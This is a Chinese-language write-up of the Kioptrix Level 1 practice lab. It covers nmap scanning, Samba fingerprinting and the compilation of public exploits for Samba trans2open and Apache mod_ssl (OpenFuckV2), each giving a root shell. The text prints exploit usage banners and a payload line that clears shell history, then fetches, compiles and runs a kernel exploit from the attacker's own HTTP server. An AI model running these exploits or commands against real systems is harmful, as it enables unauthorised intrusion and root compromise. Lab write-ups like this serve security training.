Table of content

Setup environment

首先从 官网 下载 Level 1

下载完解压后使用虚拟机打开,配置网卡,启动

Information gathering

OS: Kali-Linux-2018.4-vm-amd64

使用 net-discover 扫描在线主机

扫描出 172.16.1.143 为目标 IP

然后使用 nmap 扫描端口

$ nmap -Pn -sS -sV -p- -sC -vv -oA kioptrix1.nmap -n 172.16.1.143

其中参数

  • -Pn 为不进行 icmp ping 探测主机存活
  • -sS 为使用 TCP SYN 方式扫描
  • -sV 为探测端口指纹
  • -p- 为扫描所有端口 -p1-65535 的简写形式
  • -sC 为启用 nmap script
  • -oA 为输出扫描结果格式为一般格式,也就是 nmap 默认扫描结果输出的内容格式
  • -n 为不进行 DNS 解析

扫描结果如下

先看看 139 端口上的 Samba

Exploit Samba

nmap 没有扫描出 Samba 的具体版本,使用我之前的文章说到的方法, 手动检测版本

打开 wireshark 开始抓包,然后使用 smbclient 连接 139 端口

smbclient -U ""%"" -m NT1 -N -L //172.16.1.143

回到 wireshark 窗口查看 Session Setup AndX Response 包的内容

Native LAN Manager 一栏可以看到 Samba 版本为 2.2.1a

确定具体版本后,使用 searchexploit 搜索相关 exploit

searchexploit samba 2.2

我注意到有四个 Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow

Samba 2.2x 版本的 ‘call_trans2open’ 远程缓冲区溢出漏洞

我猜测此 exploit 应该非同寻常,威力无比强大才会有四个版本,因此选择使用此 exploit

通过阅读这四个 exploit 说明发现第二个Samba 2.2.x - 'call_trans2open' Remote Buffer Overflow(2) 为 Samba 在 Linux 下的 exploit

把此 exploit 复制到当前目录后

searchexploit -m exploits/unix/remote/22469.c

使用 GCC 进行编译

gcc 22469.c -o samba-rce-exp

执行运行查看帮助

root@kali:~/pentest/kioptrix1# ./samba-rce-exp

 [~] 0x333hate => samba 2.2.x remote root exploit [~]
 [~]        coded by c0wboy ~ www.0x333.org       [~]

 Usage : ./samba-rce-exp [-t target] [-p port] [-h]

 	-t	target to attack
 	-p	samba port (default 139)
 	-h	display this help

执行 expoit,远程溢出成功,弹回shell

当然,Metasploit 中已有此 exploit: exploit/linux/samba/trans2open

Exploit Apache mod_ssl

通常此类漏洞演练靶机不止一个漏洞

注意到目标开放了 80 和 443 端口, 具体版本信息为

Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

使用 searchexploit 搜索 apache 1.3.20 相关版本的漏洞无收获,继续搜索 mod_ssl 漏洞,发现

Apache mod_ssl 模块版本小于 2.8.7 存在远程缓冲区溢出漏洞

我挑最下面的 Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Buffer Overflow

复制 exploit 到全面目录 searchexploit -m exploits/unix/remote/764.c使用 gcc 编译出错

提示缺少 openssl 头文件 , apt-get install libssl-dev 安装libssl-dev后编译出现了更多的错误

通过搜索发现此 exploit 由于年代久远需要做一些修改才能在正常编译[1]

按照 [1] 修改exploit,其中我下载了 ptrace-kmod.c 到本地,并修改 exploit 中ptrace-kmod.c文件的下载地址为我本地 python http server 地址:

root@kali:~/pentest/kioptrix1# grep wget 764.c 
#define COMMAND2 "unset HISTFILE; cd /tmp; wget http://172.16.1.136:8000/ptrace-kmod.c; gcc -o p ptrace-kmod.c; rm ptrace-kmod.c; ./p; \n"
root@kali:~/pentest/kioptrix1# 

贴上修改后能在Kali正常编译的 exploit 源码

修改完 exploit 编译 gcc 764.c -o OpenFuckV2 -lcrypto 后,使用 python 搭建简易 HTTP server

python -m SimpleHTTPServer

直接 exploit 运行查看帮助


*******************************************************************
* OpenFuck v3.0.32-root priv8 by SPABAM based on openssl-too-open *
*******************************************************************
* by SPABAM    with code of Spabam - LSD-pl - SolarEclipse - CORE *
* #hackarena  irc.brasnet.org                                     *
* TNX Xanthic USG #SilverLords #BloodBR #isotk #highsecure #uname *
* #ION #delirium #nitr0x #coder #root #endiabrad0s #NHC #TechTeam *
* #pinchadoresweb HiTechHate DigitalWrapperz P()W GAT ButtP!rateZ *
*******************************************************************

: Usage: ./OpenFuckv2 target box [port] [-c N]

  target - supported box eg: 0x00
  box - hostname or IP address
  port - port for ssl connection
  -c open N connections. (use range 40-50 if u dont know)
  

  Supported OffSet:
    ...
	0x6a - RedHat Linux 7.2 (apache-1.3.20-16)1
	0x6b - RedHat Linux 7.2 (apache-1.3.20-16)2
	...

Fuck to all guys who like use lamah ddos. Read SRC to have no surprise

目标 Apache 版本为1.3.20,因此 exploit 的 target 的参数应该设置为 0x6a 或者 0x6b

0x6a 测试失败, 0x6b 成功反弹回 shell

Root Flag

cd /var/spool/mail
cat root

[1] How to compile OpenFuckV2.c